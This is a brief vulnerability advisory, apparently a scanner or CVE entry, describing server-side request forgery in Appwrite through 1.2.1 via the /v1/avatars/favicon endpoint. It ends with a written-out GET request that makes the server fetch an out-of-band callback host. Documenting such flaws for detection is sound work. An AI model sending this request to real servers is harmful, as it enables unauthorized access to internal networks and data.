Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
GET /v1/avatars/favicon?url=http://d5jknthle0o2bi6ihiqgtqwqw1y7jkf9k.oast.live HTTP/1.1
